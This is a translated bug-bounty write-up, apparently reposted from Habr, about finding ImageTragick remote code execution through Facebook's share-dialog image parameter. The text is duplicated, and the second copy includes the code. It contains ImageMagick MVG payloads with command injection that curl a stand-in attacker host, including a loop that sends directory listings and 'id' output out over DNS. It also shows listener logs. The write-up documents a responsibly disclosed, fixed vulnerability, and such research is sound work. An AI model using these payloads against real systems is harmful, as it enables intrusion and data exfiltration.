Facebook's tragic images
Hello! Yes, it was me 2 years 11 months and 6 days ago I promised to tell about new vulnerabilities. But over time, it became clear that, or they are not interesting, or they would have to tell about them using screenshots of more similar to the declassified documents of the special services - a couple of meaningless words and a bunch of black rectangles. But - the time has come.
I’m sure you’ve heard all about ImageMagick and its “Tragedy . ” This vulnerability was found at the end of April 2016 and due to the fact that many image processing plugins used the ImageMagick library, this problem covered a large number of systems. Since there was evidence that information about this vulnerability was available not only to the researchers who discovered it and to ImageMagick developers, but also to third parties, on May 3, 2016, information about the vulnerability (without PoC) was disclosed to the whole world. Many researchers have taken advantage of this information and found vulnerabilities in applications that were not updated on time. Unfortunately, I was not among the lucky ones. But it was in May :)
Once on Saturday, outside St. Petersburg was in October, I tested one great service - not Facebook. But one of the redirects brought me to it - it was the “Share on Facebook” dialogue:
')
This dialogue could see many of you. If we look closely, we can see that the `picture` parameter is a link to the image. But there is no such image in the page content. For example:
It turns into something like this:
The first thing I thought about was SSRF vulnerability in one form or another. But tests have shown that the url from this parameter is requested from the subgrid 31.13.97. * With the user agent facebookexternalhit / 1.1 . For example:
And all this looks like a normal request from an isolated subnet, which is specifically designed for this.
But in any case, the application transforms the images with some kind of converter and I began to dig in this direction. After several tests (one of my favorites that brought me a lot of money is parsing and converting SVG images, which are actually XML files to get SSRF from the server that performs the conversion, and which is not always the same as the north from an image was requested or, if I was completely lucky, to get XXE ) I was quite upset. None of them worked.
ImageTragick was the last hope. Although I already had no hope. If you are not very familiar with the details of the vulnerability and its exploitation or lazy - here you can find ready PoC .
This is what the easiest exploit.png payload looks like:
Drum roll ... and nothing happened:
Facepalm and Okay.
“But what if ... if these are just firewall restrictions?” - I asked myself.
OK. This does happen quite often when a company blocks normal http requests, but does not block DNS requests. Well, let's try another payload:
It must be borne in mind that in this case, the attacker uses a DNS server that writes logs of requests to it. And the result is:
Whois IP tells us:
The party starts :) Thus the application works as follows:
To be honest, I tried to find the usual way to exploit this http request, but quick tests showed that either all outgoing ports are closed, or I would spend too much time to find at least one open one. And I went the other way, which was enough to confirm the operation.
Payload:
Result:
And so on…
The bash `id` command returned:
To confirm that the exploit is working, I sent the output of the command `cat / proc / version` to the Facebook security team, which I will not show here.
In accordance with the Facebook Responsibility Policy, I didn’t dig deeper.
Already after I sent the report, Neal and I from the Facebook security team discussed the conclusion that `cat / proc / version | base64` could be much more convenient for a DNS query, and a deeper study showed that base32 is commonly used in DNS tunneling techniques (read more here: https://www.sans.org/reading-room/whitepapers/dns/detecting- dns-tunneling-34152 ).
I'm glad to be one of those who hacked Facebook.
That's all:)
Timeline:
16 Oct 2016, 03:31 am: First Report
Oct 18, 2016, 05:35 pm: Neil from the security team requested PoC, which I used during the research
Oct 18, 2016, 8:40 pm: I sent the PoC and accompanied it with additional information
Oct 18, 2016, 10:31 pm: Neil confirmed vulnerability
19 Oct 2016, 12:26 am: Neil notified that fix in the process of calculations
Oct 19, 2016 2:28 am: Neil reported that the vulnerability was fixed
19 Oct 2016, 07:49 am: I confirmed that the vulnerability was fixed and requested the disclosure procedure
22 Oct 2016, 03:34 am: Neil replied about the procedure and timing of disclosure
Oct 28, 2016, 3:04 pm: Appointed reward ($ 40K)
16 Dec 2016: Disclosure allowed.
I’m sure you’ve heard all about ImageMagick and its “Tragedy . ” This vulnerability was found at the end of April 2016 and due to the fact that many image processing plugins used the ImageMagick library, this problem covered a large number of systems. Since there was evidence that information about this vulnerability was available not only to the researchers who discovered it and to ImageMagick developers, but also to third parties, on May 3, 2016, information about the vulnerability (without PoC) was disclosed to the whole world. Many researchers have taken advantage of this information and found vulnerabilities in applications that were not updated on time. Unfortunately, I was not among the lucky ones. But it was in May :)
Once on Saturday, outside St. Petersburg was in October, I tested one great service - not Facebook. But one of the redirects brought me to it - it was the “Share on Facebook” dialogue:
')
https://www.facebook.com/dialog/feed?app_id=APP_ID&link=link.example.tld&picture=http%3A%2F%2Fattacker.tld%2Fexploit.png&name=news_name&caption=news_caption&description=news_descriotion&redirect_uri=http%3A%2F%2Fwww.facebook.com&ext=1476569763&hash=Aebid3vZFdh4UF1H This dialogue could see many of you. If we look closely, we can see that the `picture` parameter is a link to the image. But there is no such image in the page content. For example:
https://www.google.com/images/errors/robot.png It turns into something like this:
https://external.fhen1-1.fna.fbcdn.net/safe_image.php?d=AQDaeWq2Fn1Ujs4P&w=158&h=158&url=https%3A%2F%2Fwww.google.com%2Fimages%2Ferrors%2Frobot.png&cfs=1&upscale=1&_nc_hash=AQD2uvqIgAdXgWyb The first thing I thought about was SSRF vulnerability in one form or another. But tests have shown that the url from this parameter is requested from the subgrid 31.13.97. * With the user agent facebookexternalhit / 1.1 . For example:
$ nc -lvvv 8088 Connection from 31.13.97.* port 8088 [tcp/radan-http] accepted GET /exploit.png?ddfadsvdbv HTTP/1.1 User-Agent: facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php) Accept: */* Accept-Encoding: deflate, gzip Host: attacker.tld Connection: keep-alive And all this looks like a normal request from an isolated subnet, which is specifically designed for this.
But in any case, the application transforms the images with some kind of converter and I began to dig in this direction. After several tests (one of my favorites that brought me a lot of money is parsing and converting SVG images, which are actually XML files to get SSRF from the server that performs the conversion, and which is not always the same as the north from an image was requested or, if I was completely lucky, to get XXE ) I was quite upset. None of them worked.
ImageTragick was the last hope. Although I already had no hope. If you are not very familiar with the details of the vulnerability and its exploitation or lazy - here you can find ready PoC .
This is what the easiest exploit.png payload looks like:
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://attacker.tld/" -d @- > /dev/null`' pop graphic-context Drum roll ... and nothing happened:
$ nc -lvvv 80 Facepalm and Okay.
“But what if ... if these are just firewall restrictions?” - I asked myself.
OK. This does happen quite often when a company blocks normal http requests, but does not block DNS requests. Well, let's try another payload:
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://record_under_attacker_controled_ns_server.attacker.tld/" -d @- > /dev/null`' pop graphic-context It must be borne in mind that in this case, the attacker uses a DNS server that writes logs of requests to it. And the result is:
IP: 31.13. *. *; NetName: LLA1-11
NAME: record_under_attacker_controled_ns_server.attacker.tld, Type: A
Whois IP tells us:
netname: LLA1-11 descr: Facebook
The party starts :) Thus the application works as follows:
- Receives the `picture` parameter and requests it - this is a valid request and there are no vulnerabilities in it
- The resulting image is transferred to the converter that used the vulnerable version of the ImageMagick library.
To be honest, I tried to find the usual way to exploit this http request, but quick tests showed that either all outgoing ports are closed, or I would spend too much time to find at least one open one. And I went the other way, which was enough to confirm the operation.
Payload:
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60for i in $(ls /) ; do curl "http://$i.attacker.tld/" -d @- > /dev/null; done`' pop graphic-context Result:
NAME: home.attacker.tld, Type: A NAME: boot.attacker.tld, Type: 28 NAME: dev.attacker.tld, Type: 28 NAME: bin.attacker.tld, Type: A … … And so on…
The bash `id` command returned:
NAME: uid=99(nobody).attacker.tld., Type: 28 NAME: groups=99(nobody).attacker.tld., Type: A NAME: gid=99(nobody).attacker.tld., Type: A To confirm that the exploit is working, I sent the output of the command `cat / proc / version` to the Facebook security team, which I will not show here.
In accordance with the Facebook Responsibility Policy, I didn’t dig deeper.
Already after I sent the report, Neal and I from the Facebook security team discussed the conclusion that `cat / proc / version | base64` could be much more convenient for a DNS query, and a deeper study showed that base32 is commonly used in DNS tunneling techniques (read more here: https://www.sans.org/reading-room/whitepapers/dns/detecting- dns-tunneling-34152 ).
I'm glad to be one of those who hacked Facebook.
That's all:)
Timeline:
16 Oct 2016, 03:31 am: First Report
Oct 18, 2016, 05:35 pm: Neil from the security team requested PoC, which I used during the research
Oct 18, 2016, 8:40 pm: I sent the PoC and accompanied it with additional information
Oct 18, 2016, 10:31 pm: Neil confirmed vulnerability
19 Oct 2016, 12:26 am: Neil notified that fix in the process of calculations
Oct 19, 2016 2:28 am: Neil reported that the vulnerability was fixed
19 Oct 2016, 07:49 am: I confirmed that the vulnerability was fixed and requested the disclosure procedure
22 Oct 2016, 03:34 am: Neil replied about the procedure and timing of disclosure
Oct 28, 2016, 3:04 pm: Appointed reward ($ 40K)
16 Dec 2016: Disclosure allowed.
Source: https://habr.com/ru/post/319676/
All Articles